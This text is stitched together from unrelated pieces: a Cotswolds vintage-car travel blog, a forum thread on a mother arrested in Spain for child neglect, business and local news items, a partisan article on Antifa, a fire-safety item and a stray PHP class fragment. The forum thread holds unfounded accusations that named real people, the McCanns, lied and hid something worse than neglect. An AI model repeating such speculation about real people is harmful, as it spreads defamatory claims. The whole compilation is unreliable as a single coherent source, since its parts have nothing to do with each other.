It was like I had walked onto a movie set. Beautiful, honey-coloured stone buildings lined the narrow street that dipped down towards a slow-moving river. The sun had not yet warmed up and there was a nip to the morning air.The village slept as I sat on the bridge, legs dangling above the water.
Upper Slaughter may not be the most attractive name for a village, but don't be fooled by the name. It is one of the most picturesque villages I've ever had the pleasure of visiting. It is a village that stands still in time, a time before characterless bungalows and unsightly buildings made of cheap materials dominated our landscape. Here, the buildings are all made from traditional Cotswold stone, grass verges are neatly trimmed, flowers billow from hanging baskets and the sound of the River Eye is the only sound on a summer's morning.
Upper Slaughter
"It's a bit chilly love."
I opened my eyes to find a man and woman standing over me smiling. Their dog pulled impatiently on its lead. I always find it amusing how in cities we race past one another, careful not to make eye contact, yet out in the countryside people are more open to chatting with strangers. It's one of the reasons I love the countryside.
It turned out the man had been born in the village, a time when it had been inhabited by shepherds, farm hands and the farmers themselves. Back then, there had been a shop and post office, a cobblers and a school, but today, the village lacks the luxury of any such facilities. It comprises mostly of weekend homes of the rich living in London and holiday lets. Despite being told the community had dispersed, by the time I heard the church bell sound 9 bongs, locals emerged from behind their wooden doors and were happy to reminisce about days gone by.
At the heart of the village is the luxurious Lords of the Manor Hotel (Read full post here). The golden building is surrounded by acres of bright flower beds, lawn and bog gardens, overlooking rolling hills dotted with grazing sheep. I had been lucky enough to spend my first night in The Cotswolds here and was reluctant to leave. However, there was one thing that softened the blow. My trip around The Cotswolds was to have a twist. I was to explore the villages and towns of the region in a vintage car.
Lords of The Manor & The CAR!
I will make my confession now. I don't know anything about cars. I know they move from A to B. They are either comfy or they're not. That's about it. However, I do know when a car is special and as I walked up to the1963 two tone Austin Healey 3000, I knew I'd chosen the right car. I'd picked it up just 20 minutes from Birmingham airport from a company called The Open Road, where owner Tony Merrygold rents out a number of vintage cars for couples to whizz around the area in style. It's a novel and fun idea, adding a whole other element to the weekend. If I had a euro for every conversation I had during my stay about the car with strangers, I'd be a wealthy woman.
"My clients are mainly women. They tend to book the cars as a surprise for their husbands. For a couple of days they can believe it's their car. It's a gift many men would love," Tony explained. It's true, if Dan were into vintage cars, surprising him with his dream car for two days during a holiday would be the best gift ever. But this weekend, it was all for me.
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Roof down, wind in my air I zipped out of Upper Slaughter moving towards the neighbouring village Lower Slaughter. I hadn't wanted to leave the friendly villagers and tranquility of Upper Slaughter, doubting that any town could be as beautiful, but its neighbour was just as beautiful. The River Eye also passes through the village and stone footbridges allow visitors to cross the river to get to the 19th-Century Watermill.
Lower Slaughter
The Old Mill is tucked behind a pretty row of stone cottages and has been transformed into a museum and craft shop with a tea room attached. As you step into the museum, jazz music plays gently in the background and you're swept back to another era. Antique items are displayed casually and the museum tells the history of bread making and the workings of the mill. You can sit beneath umbrellas by the river where ducks paddle alongside merrily as the watermill churns slowly.
The Old Mill, Lower Slaughter
The thing about The Cotswolds is that each town is as beautiful as the next. The roadsides are littered with rustic farm shops and quaint tea rooms. Sleepy, picturesque villages offer a haven to those seeking a quiet getaway and with hundreds of public bridleways in the area, you just have to walk to the edge of any village and a track will lead you into the hilly countryside.
Busier towns include Bourton-on-the -Water known as the 'Venice' of the Cotswolds. The town is built on the banks of the River Windrush, willow trees line the shore and stone bridges encourage visitors to cross between the two sides of the town. On a sunny day the banks are packed with couples and families lazing on blankets, children splashing at the edges of the river. Ducks stand by anticipating tasty snacks. Small boutiques, tea rooms and bars offer endless options to hungry travellers.
Motor Museum, Bourton-on-the-water
Families are well catered for with things to do in the town; The Motor Museum and Toy Collection, Birdland Park and Gardens, or The Dragonfly Maze. Whatever your fancy, you won't be disappointed.
As I was in a vintage car, I had to explore the vintage side of the Cotswolds. They've developed Vintage Routes that lead you to secret vintage and retro shops dotted around the area. There is a taste for the old here and there is no shortage of antique shops where you can browse for hours. The beautiful town of Chipping Campden has a number of antique shops worth visiting, not to mention a fab cheese shop, while Vintage lovers should also make their way to Burford.
The town has always been a bustling market town, and its 17th and 18th century buildings still stand proudly along the main street. Vintage to Vogue on the main street, is a real find if you're in search of vintage clothes, jewellery, bags and shoes.
Over 80% of The Cotswolds is agricultural – open fields, pockets of forest and rolling hills lure nature lovers in their droves. Walking trails link villages, some companies will even transport your bags so you don't have to walk back the same way. It's a magical way to explore an area and to spend a holiday. The more experienced hiker might take a stab at The Cotswold Way – 100 miles of trails leading from the historic town of Chipping Campden all the way down to Bath. Others may want to hire bicycles and race up and down the hillsides.
Cotswold Countryside
There is a reason a staggering 38 million people visit the area each year. In fact there are many reasons; beautiful countryside, idyllic towns and villages, great shopping and lots to see and do. Why wouldn't you go? I don't think I've seen so many beautiful villages in one area. I envy that they had the foresight to protect their villages with strict planning laws. I had the feeling I had stepped back in time and it was a wonderful feeling. Perhaps my Austin Healey was in fact a time machine. I will make sure to book it for my next trip!
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Loving all the places you went to, I will be putting them on "my to do list" thank you
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yes, well.......Daily Mail
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ann_chovey on Wed 18 Aug - 8:34
http://www.dailymail.co.uk/news/worldnews/article-1304003/British-mum-abandoned-girl-11-to-bar-Spanish-seaside-resort.html
A British holidaymaker has been arrested after allegedly leaving her 11-year-old daughter alone in a Spanish resort while she went to a bar.
Alicia Jenkins, 42, sat drinking in the bar for hours while the child wandered around a nearby beach, it is claimed.
The child was found by a British couple concerned that she was unsupervised in the busy seaside town.
But when they took the girl to the bar, where her mother had been drinking for at least two hours, they were told to '**** off and leave me alone,' it is alleged.
Facing jail: British holidaymaker Alicia Jenkins is accused of leaving her 11-year-old daughter to wander the beach in Salou, Spain
The couple eventually took the girl to her hotel in the resort of Salou, on the Costa Dorada, in north-east Spain, where staff called police.
A spokesman for the regional police force, said: 'A British woman was arrested on Sunday evening for abandoning her 11-year-old daughter while she went drinking in a bar.
'The girl was helped by a concerned British couple on the beach, but when they went to the bar to find the mother she started swearing at them and being abusive.
'She was very drunk. They took the girl back to the beach and when the woman did not turn up some time later they took the girl to the hotel where she and her mother were staying.
'Hotel staff called the police and our officers went to the bar where the woman was detained.
'By that stage the girl had been out of her care for most of the afternoon. She was taken to a children's care home to be looked after.'
The girl and her mother, from Builth Wells, in Powys, Wales, had arrived in Salou, a popular party resort, last Friday. They were staying at the three-star California Garden Hotel.
She is expected to face a fast-track trial. Under Spanish law parents who abandon their children face jail sentences of 18 months to three years. If the child is put in danger, it can be up to four years.
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Re: yes, well.......Daily Mail
Justiceforallkids on Wed 18 Aug - 8:44
WHAT??????????? So its ok for toddlers to be left alone ina hotel room but not a 11 year old??????????
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malena stool on Wed 18 Aug - 8:53
ann_chovey wrote: http://www.dailymail.co.uk/news/worldnews/article-1304003/British-mum-abandoned-girl-11-to-bar-Spanish-seaside-resort.html
Shame the McNeglecters weren't holidaying in Spain .................
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Panda on Wed 18 Aug - 8:59
The Mother has behaved disgracefully and deserves all she gets. What if the Girl was approached by some
pedophile and was niaive enought to go off with him???? They were staying at an Hotel which presumably had
a Pool and could have stayed drinking there while their daughter used the Pool and maybe made Friends with
other children in the Hotel.
As for the Mother swearing at the well meaning couple .......what can you say.!!!
Gerry"s "it was our holiday too" remark springs to mind.
Location : Wales
pennylane on Wed 18 Aug - 8:59
This silly woman should have told everyone she was a British doctor who was checking on her daughter every half hour between drinks. She could be riding the crest of the wave by now!
pennylane
Panda wrote:
'If she had an accident in the apartment, how could that be our fault'.....I could go on....Grrrr!
pennylane wrote: This silly woman should have told everyone she was a British doctor who was checking on her daughter every half hour between drinks. She could be riding the crest of the wave by now!
doesnt portugal have a minimum 2 year sentence for child neglect if so why did the mcanns get away with leaving 3 kids under 4 alone when this mum with a 11 year old didnt i mean i know spain isnt portugal but you know what i mean
Karen on Wed 18 Aug - 9:07
Yes Portugal has a minimum charge of 2years IF the child is under the age of twelve, also, the sentence would be longer if the Police can prove that he/she may be in danger, appliances, swimming pool etc etc, such as the case with Madeleine.
How on earth these two whackjobs are still free baffles me - but it wont be for long of that I am almost certain.
Here hoping Halligen opens that can of worms today! if he piches up in court that is.
Pennylane, I needed a smile today and I got it from your post - ta very much, well said!
Saint Kate apparently made an an equally obnoxious remark to a holidaying socially worker also....but Kate was after all a distraught mother running hither and zither searching frantically for her missing daughter, so we must excuse her building site language to a nosey social worker.
karen when iwas 11 mum let me and my siblings stay home for like 10 minutes when she dashed down the street theresa huge diffrence between 3 kids under 4 anda 11 year old 11 year olds can basically care for themselves in some ways it shows the diffrence between the mcanns with money and a normal mum IMO not that im saying this mum was right but you know what i mean im glad this mother has to face charges for her lack of responsibility
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God knows Jfak.... the McCanns surrounded themselves with heavies, and managed to get one over on the law of the land.
There can be no doubt, even if you accept their story (which I personally don't believe a word of), they are guilty of neglect at the very least. Their enormous lies will eat them from the inside out, and though they may not be in jail - they are most certainly living a soul destroying, hellish existence (imo)
Dimsie on Wed 18 Aug - 9:35
malena stool wrote: Saint Kate apparently made an an equally obnoxious remark to a holidaying socially worker also....but Kate was after all a distraught mother running hither and zither searching frantically for her missing daughter, so we must excuse her building site language to a nosey social worker.
I know you're being sarcastic but Kate did go running eventually ... up the hill with Gerry, when they timed themselves and did it in 19 minutes. These little details are important when you're searching for a child, maybe they thought they could eventually tell the world they'd searched 'up hill and down dale' and got fit in the process.
Getting back on topic - it still amazes me that anyone thinks it's all right to leave children unsupervised, trusting to luck they'll come to no harm. The fact that the McCanns and their friends weren't charged with any offence for leaving their very young children alone at night must IMO have led equally feckless people to think it's quite all right to do likewise, that even if something does happen to their children they won't be blamed but instead will be given sympathy and support and lots of money.
PS I wonder what Lorraine Kelly, etc. think of this latest case - that the mum is a wonderful, caring person who deserves everyone's support?
Dimsie
Location : N Ireland
mumbles on Wed 18 Aug - 9:36
The McC's weren't shy in publicising their 'neglect' of Madeleine and the twins - and you do have to wonder why?
It's been mentioned many times that possibly whatever really happened to Madeleine was far worse that simply being left alone. To be charged with 'neglect' would have been the lesser punishment for them.
I'm sure in the early days it was also said that for them to be charged with neglect meant that if the police found evidence of foul play they could then not be charged with that - but I may be wrong.
Guest on Wed 18 Aug - 9:37
Dimsie wrote: PS I wonder what Lorraine Kelly, etc. think of this latest case - that the mum is a wonderful, caring person who deserves everyone's support?
i think we all know the answer to that.
Panda on Wed 18 Aug - 10:10
We all know the reputation young Brits abroad have for their drunken loutish behaviour, I have seen it for
myself. Must we now be tarred with the bad parenting brush ?
Ang on Wed 18 Aug - 18:42
McCanns are getting a right bashin on this articles comments section. Lots of people questioning why they didn't get prosecuted for leaving three children alone! [b]
margaret on Wed 18 Aug - 19:47
Ang wrote: McCanns are getting a right bashin on this articles comments section. Lots of people questioning why they didn't get prosecuted for leaving three children alone! [b]
Thanks for that, had to go and look, a small selection.....
- GrahamC, Dorset, 18/8/2010 7:58 et al
Erm ... I know I will get red arrowed for this, but the McCanns are both doctors who left their THREE small children alone on holiday whilst they went out eating and drinking - not all benefit mums are lousy - there are other middle calss parents just as bad - so don't jump to unjustified conclusions
I don't condone this. Yet this woman was slated while the McCanns were hailed as saints.
- Mags, Telford, 18/8/2010 10:57
So why did the McCanns get away with it when they left Maddie alone to go drinking? Because they received the full backing off the British Government I guess!
- JK, U.K., 18/8/2010 10:50
How come the McCanns didn't get same sentence?
- edouard dunnachie, carnwath scotland, 18/8/2010 11:39
Because they were middle class doctors - that's why.
This story makes me so angry, why is she being treated like this just because she is a single parent.When the Mcanns left 3 children under 6 home alone at night to go out drinking while they were on holiday all they got was sympathy. This is because they are middle classed proffessionals the outcome of their wrong doing was much worse.No child should be left alone in a foriegn country.
- annette, London, 18/8/2010 10:17
This has embarressed our country. Her passport should be withdrawn. We are quick to complain anout foreigners on our soil. We need to look carefully at who we let travel abroad. We have inflicted the chav element of our society on the Med for too long. Spain and Greece have been extremely tolerant in accomodating these people. I do realise they earn from them, but surely there will come a point when they crack.
- chris, Newton le Willows, 18/8/2010 16:38
Strange isnt it..........the McCanns didnt get done for leaving their three kids alone did they?
- annie, tyneside, 18/8/2010 10:21
Under Spanish law parents who abandon their children face jail sentences of 18 months to three years. If the child is put in danger, it can be up to four years.
Pity it isnt the same under Portuguese law
Some high profile parents might have thought twice about leaving their children alone whilst they dined.
- Tiffany, London UK, 18/8/2010 11:10
The McCanns got off because they were posh and this woman is a chav!
Why did they not do the same to the McCanns?
Possibly because it was in a different country where Spanish laws do not apply i.e in Portugal.
Some may say of course that the social standing of the McCanns may have swayed any decision as to if they should have been punished.
- Jon, Cleveland, 18/8/2010 12:33
The McCann's children were much younger when they were left alone whilst their parents went out drinking every night, and we all know the consequence of that.
- Holmes, London, 18/8/2010 12:15
she would be ok in portugal
- bob, airdrie, 18/8/2010 11:15
I could go on but the Mcs are getting a pasting! And l've only seen two comments where they believed another 'abduction' likes Maddies could ahve happened.
wantthetruth on Wed 18 Aug - 19:51
rep point!
wantthetruth
Have taken a look at the worst rated comments and they include these gems, proof if it were needed that most people DO see through the Mcs lies. These people might have looked back attheir comments and can't understand why they've been given minus points!
Let's hope she's not on benefits! So far as bringing the McCanns into the story - I'm sure they deeply regret what happened and if they could turn the clock back they would - but it was not the same situation - they believed their children were safely nearby in bed - and most people know their child's sleeping habits - being checked on periodically, who could really envisage that some person would steal their child from their bed - now of course we are vigilant because of what happened. This child was left to roam about a holiday resort.
- beverly, london, 18/8/2010 13:34
Don't be so ridiculous.
The McCanns left their children in what they thought was a secure apartment in a secure complex, and they were in the immediate vicinity. This stupid woman abandoned her child, who could have come to serious harm, not least sunburn, in what could be a dangerous environment.
- Samantha, Penarth, 18/8/2010 13:21
To all the people leaving nasty comments about the McCanns, don't you think they have a life sentence? Stop being so heartless!!
- Clare, Birmingham, 18/8/2010 14:02
Come on, give the McCanns a break, this is a totally different situation. Just glad that this child is ok.
- pat, newcastle upon tyne, 18/8/2010 13:45
No, it was TOTALLY different scenario. This was a drunk who abandoned her daughter to go drinking. The McCanns were people who thought their child was safe in bed. You want them to throw the book at them? Don't you think this poor couple have been punished enough?.
- Ray, Lancashire, 18/8/2010 13:45
- edouard dunnachie, carnwath scotland
I think most normal, compassionate people would say that the McCanns got a life sentence! It sure is a shame we can't all be as perfect as you.
- Paula, Warks, England, 18/8/2010 13:01
Why are so many people comparing this to the McCann situation? They are entirely different - the McCann's were not drunk, they didn't leave their kids wandering around all afternoon. The children were asleep in their room. We know differently now of course, but at the time the McCanns thought their children were safely tucked up in bed, and they themselves were eating a meal less than 100 yards away. The McCann's made a bad error of judgement, this woman just went out on the lash and left her kid to it!
- Elizabeth, London, UK, 18/8/2010 12:34
Exactly the same scenario as the McCanns - leaving youngsters alone to go drinking - disgusting state of affairs. If they throw the book at her, which she deserves, then why don't they do the same to the McCanns??
- Ally, Wales, 18/8/2010 11:40
Not "exactly" the same. Maddie wasn't alone, she was with her siblings, and the McCanns didn't abandon her to go on a bender, they were only a few yards away. Just saying, but I get your point.
- Ess, Essex, 18/8/2010 12:40
NOT the same scenario as the McCanns. They were dining in the garden of their complex and making regular check ups on their children. Just as if they were dining in their own garden and the children were upstairs in bed!
- Momo, Valencia, Spain, 18/8/2010 13:08
Pinky would be proud of that one!!
Momo of Valencia is very well informed isn't he/she? Practically a direct Gerry quote. Hmmmm....
Thanks for pasting them in Margaret
MaryB on Wed 18 Aug - 20:18
Can't see why she hasn't been invited to an audience with the Pope and a slot on the Oprah Winfrey show.
ann_chovey on Wed 18 Aug - 20:32
oh dearie me.................excellent!
this woman should not have left her child alone in a foriegn country while she went to a bar. Likewise, a couple should not leave thier 3 children under 5 alone while they eat at a nearby resturant.
This woman should have been charged, so should all parents who leave thier children alone while they go out to enjoy themselves.
How they paid for the holiday should have nothng to do with what happens to the parents. Except that, as we all know, it does.
- lynn, maidstone, 18/8/2010 11:48
Arguida on Wed 18 Aug - 20:35
I think the world has gone nuts. Eleven is quite old enough to care for themselves. When I was eleven and even younger my friends and I went to the beach and stayed all day. No parents around or any adult supervision.
My mother started back to work when I was eight and my sister and I stayed on our own without any babysitters.
Arguida
I wonder if they read the comments but then again they probably read everything. It must come as a blow when stories like this one come to light and get in the press. They may be still walking the streets but they will never ever be free. People will continue to draw comparisons for the rest of McCanns lives. If they had been prosecuted it would have been long forgotten by now. Living hell for them really - all self inflicted and following the money of course.
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Agorize > Post > Innovation > Looking East > Lab Rats: Why are Companies Experimenting with Innovation Labs in Singapore?
This month, three global banks opened up their own innovation labs in Singapore. The fact that Bank of China, Australian Westpac and Deutsche Bank have all opened innovation labs in Asia demonstrates the shift in mentality for larger corporates and institutions towards innovation and an increasingly common pivot towards the East.
It's not just the Asia-Pacific region's strong position in the growing fintech industry that attracts banks and large businesses, but the region, in general, is seen as very open to innovation. While China might hit the headlines more frequently for tech news, Singapore has a vibrant innovation and startup scene: it's home to 2,400 tech startups.
With the biggest port in the world, Singapore is strategically positioned as a hub of trade and logistics and therefore entry point into the Asia-Pacific region, especially the developing tech ASEAN markets.
There's an abundance of talent concentrated in Singapore thanks to some of the best educational institutions in Asia, if not the world. The National University of Singapore is frequently ranked in the Top 25 Universities in the world.
Singapore's government are incredibly proactive fostering a culture of innovation and updating government regulations for the 21st century and encouraging innovation and technology. Whether it's tax breaks for entrepreneurs or the Singapore Economic Development Board to the government introducing the new Open Innovation Program, new regulatory framework that covers cryptocurrencies or startup competitions like SLINGSHOT@SWITCH.
Innovation labs, in the form that we are familiar with today, have been appearing since the early 2000s. They are an increasingly popular option for companies looking to experiment with new technologies or collaborate and co-create with others in a 'safe space' which is separate from the parent company. It's a win-win situation for all parties involved: employees can try new things and responsibilities, collaborate with external startups and developers while still having a structured process and pipeline to their parent company's funding and resources.
From Accenture to Visa, there are plenty of Singaporean innovation lab examples to choose from, which can be grouped into six types. When we think of an innovation lab, we are probably thinking of the most common type – the 'concept development lab' – which allows 'intrapreneurs', employees with links to the company or industry, to collaborate and co-create with customers and startups. Take Citi's Innovation Lab in Singapore, launched in 2011, and the first ever to be established in the country. This lab has brought together those inside and outside of the banking industry, including members of academia and local authorities, to great success. Focusing on critical business problems from its clients' perspective and experience, Citi won 'Most Innovative Feature Award' among others for one of its client-focused FinTech solutions in 2017.
Just as popular are the 'ecosystem' or 'venture labs', which matches the 'open innovation' mindset of collaborating with startups and entrepreneurs and making serious venture capitalist investments. PayPal's Innovation Lab is also part-Incubator and offers its startup cohort access to a wider network of PayPal executives, SMEs and external VCs: successful startups who have graduated from this program include TenX, Axinan and InvoiceInterchange. Similarly, the new Westpac co.lab in Singapore fits the bill and is designed to help Australian fintech startups launch in Asia.
For employees, a 'makerspace' lab gives them the time and space to experiment with prototyping and innovative technologies, but can be viewed as just an employee perk or fun afternoon activity. Leading us on to the final type of innovation lab – 'LINO' (Lab In Name Only) – think beanbags, a ping-pong table and post-it notes on windows.
Innovation labs should be more than just a PR stunt – a sticking point that can often occur when there is no framework or follow-through by senior management to scale and implement the ideas and prototypes that come out of an innovation lab. While innovation labs are an effective approach to facilitating innovation and integrating disruptive technologies into one's company and business practices, there are other ways that companies can facilitate innovation and new ideas, which compliment the creation of innovation labs.
Multiple angles and entry points into a company or industry are necessary to encourage diversity, divergent thinking and collaboration with startups and people who companies might not necessarily have otherwise considered. The reason why Singapore is now becoming synonymous with innovation in Asia and remains so attractive to companies and startups is because it's like a national innovation lab itself! Thanks to the efforts of the Singaporean government to encourage innovation and investment, local talent and startups are collaborating and large companies are flocking to this part of Asia to experiment, collaborate and co-create.
With this in mind, Agorize Asia is excited to announce that we will be opening an office in Singapore from the beginning of 2019. Stay tuned for more details!
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As previously announced, GV Gold (Vysochaishy, PJSC) is commissioning the Ugakhan Mine of the Irkutsk business unit. Strictly in accordance with the schedule, a technical launch of the new mine with the first smelting of gold took place on the 23d of October with participation of the founding shareholders Sergey Dokuchaev and Natalia Opaleva, and the CEO German Pikhoya.
The Ugakhan deposit was discovered by the GV Gold geologists in 2010. The deposit is located within the territory of the Bodaibo Area of the Irkutsk Region. In 2013, based on the results of the performed exploration operations, the C1+C2 category reserves of the Ugakhan deposit were tripled and approved by the State Reserves Committee GKZ in the amount of 49 t (1.58 Moz). The minable reserves total 36 t (1.16 Moz) of gold with LOM (life of mine) till 2029.
The Ugakhan Mine construction commenced in 2015. The project implementation CAPEX amounted to c. USD 200 million.
A processing plant has a capacity up to 3 Mt of ore per year and is designed with gravity and CIL (carbon in leach) process.
In 2018, the Company will bring the Ugakhan mine to full capacity with the annual gold production of up to 3 t (96 koz).
The Ugakhan mine is located at the distance of only 23 km from the first GV Gold deposit of Golets Vysochaishy, where the gold production has been carried out since 2001.
Close proximity of the new mine to the flagship enterprise of the Company allowed to accelerate the construction and commissioning of the new deposit. A competence of the current team, an accumulated experience of exploitation of similar deposits as well as the uniform logistical supply and equipment servicing chains represent the special synergetic advantages.
The project has a high significance for development of the region. At the moment, more than 800 people are engaged in construction and exploitation of the new mine. After the mine attains its full capacity, the tax payments to the budgets of different levels will total c. RUB 350 million per year.
In 2017, the Ugakhan project obtained a status of the regional investment project which means an obtainment of tax preferences in the first 10 years of the mine exploitation for further development of the deposit, creation of new jobs and investment into the infrastructure and technologies.
GV Gold (Vysochaishy, PJSC) is an actively developing company with high production efficiency level. It ranks in the Russia's TOP 10 gold mining companies list. The Company carries out its activity in the Irkutsk Region and the Republic of Sakha (Yakutia), where its Irkutsk, Taryn and Aldan business units are located and large scale exploration operations are carried out.


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Go Fashion Shares To Debut On Bourses On November 30
Abhinav RastogiNovember 29, 2021Last Updated: November 29, 2021
Go Fashion's shares will list on the bourses on November 30
Women's wear brand Go Fashion's shares will debut on the stock markets on Tuesday, November 30. The shares are likely to list at 65 per cent to 70 per cent premium, according to grey market trends.
They will be listed on both the National Stock Exchange (NSE) and Bombay Stock Exchange (BSE).
Go Fashion had lifted Rs 1,014 crore from the public issue that was subscribed 135.46 times between November 17 to November 22.
Non-institutional investors had put in bids 262.08 times the portion set aside for them and qualified institutional investors' reserved portion was subscribed 100.73 times. Retail investors bought shares 49.70 times the portion reserved for them.
The IPO consisted of a fresh issue of Rs 125 crore and an offer-for sale of Rs 888.61 crore by promoters and investors.
The company will use the net proceeds from fresh issue for rolling out 120 exclusive brand outlets, and meeting working capital requirements.
In 2020-21, Go Fashion had recorded a loss of Rs 3.54 crore as against a profit of Rs 52.63 crore in previous fiscal.
It had reported a loss of Rs 18.99 crore in the quarter ended June 2021 as against a loss of Rs 8.59 crore during the corresponding period of last year.
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Rochester, MN (KROC-AM News) - The Olmsted County Board is scheduled to hold a public hearing Tuesday afternoon on some proposed changes to the County's Solid Waste Ordinance that would apply administrative fines to violations of provisions of the ordinance.
The current law states violations are considered misdemeanor offenses punishable by up to $1,000 in fines and/or up to 90 days in jail, but those penalties are rarely applied. The proposed changes create an appeals process and establishes a schedule of fines ranging from $50 dollars for putting out your garbage cans too early or leaving them out too long (the law allows trash containers to put out for collection the evening before collection day), $50 dollars for mixing yard waste or recyclables with regular trash, and up to $1000 dollars per day for certain violations committed by waste haulers. The proposal also gives hearing officers authority to imposed higher fines for repeat offenders or in especially egregious cases. If approved, the changes would take effect next year. The meeting begins at 3 p.m.
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HomeNewsALERT: Powerful New Law Throws Antifa In Full-Blown Panic Mode
ALERT: Powerful New Law Throws Antifa In Full-Blown Panic Mode
September 7, 2017 Mark Prvulovic News Comments Off on ALERT: Powerful New Law Throws Antifa In Full-Blown Panic Mode
It seems that the American people are starting to wake up to the reality behind Antifa. Despite their namesake stemming from the words "anti-fascist," this far-left group has been instigating riots, violence, and chaos across the land in an effort to destabilize this country — and silence conservative voices.
Thankfully, state leaders and law enforcement experts have begun considering a new law that would allow them to treat far-left extremist groups like criminal street gangs. If such a law came to be, it would mean that Antifa members who commit violence could be prosecuted for acts of terrorism, according to the Daily Caller.
First proposed by Berkeley Mayor Jesse Arreguin, classifying Antifa as a gang would have drastic repercussions for the group. Arreguin stated, "They come dressed in uniforms. They have weapons, almost like a militia."
Since violent white supremacist groups have already been designated as domestic terror groups, it makes sense that the same classification should befall these radical leftist groups.
Documents were released by the Department of Homeland Security that informally classified Antifa's actions as "domestic terrorist violence." According to unreported documents from as far back as 2016, officials claimed that "anarchist extremists" were the root cause of violence at public demonstrations. They also have a history of attacking law enforcement — all in the name of fighting racism, fascism, and he oppressive capitalist system, allegedly.
"It is gang behavior with some ideology," said Brian Levin, who directs the Cal State San Bernardino Center for the Study of Hate and Extremism, "but it is also a social entity as well as a political one."
Deputy District Attorney Britt Imes, however, suggests that it's the criminal actions of the groups that make them a street gang, and not their politics. "There's an argument for it, but there's also a very grave concern because they are exercising their constitutional rights," he said.
In a sense, the attorney is correct. Everyone has the right to free speech, and even the far-left has a right to express their viewpoints, regardless of their validity. The problem is that these groups are frequently violent.
The Left feels as if they are moral arbiters, and that everyone who disagrees with them is wrong, unethical, or evil. In light of such a view, it's not surprising that the more extreme groups are so willing to resort to violence. To them, conservatives are evil, plain and simple.
Imes continued, saying that, "If their purpose is to come together to cause havoc or engage in violence, and this is Antifa or the white supremacist side…they're going to engage in conduct that will eventually fit the definition of what a criminal street gang is."
This notion is completely correct. There are many instances of Antifa planning to hold violent riots to shut down events, including the infamous Berkley situation, or the time they planned to deface public, Confederate monuments on Independence Day.
If an overtly "progressive" state such as California is having this conversation, then maybe it truly is the end for Antifa after all.
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The New Zealand Fire Service put together a terrifying interactive website showing how quickly a house fire spreads. They hung some clothes too close to a heater, and within a minute, the entire room was an inferno. Scroll up the ceiling for a sense of how intense it gets.
New Zealanders are being given the chance to experience an actual house fire, and challenged to escape. Through interactive 360 video, with a virtual reality (VR) option, the user steps into the lounge to find a small fire has started on a clothing rack, left too close to the heater. What looks manageable is, in fact, already out of control - you have seconds to get out. Through completing the experience, users learn why they need an escape plan.
Since the Escape My House launch on Wednesday 22 March, the online tool has been experienced by over 120,000 users and the video on Facebook has been viewed more than 10 million times and shared by more than 86,000 people. It has gone beyond New Zealand and has also been accessed by Australia, Austria, Canada, France, Taiwan and the United States.
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     */
    public function setDate($date)
    {
        $this->date = $date;
        return $this;
    }

    /**
     * @return \Datetime
     */
    public function getDate()
    {
        return $this->date;
    }
}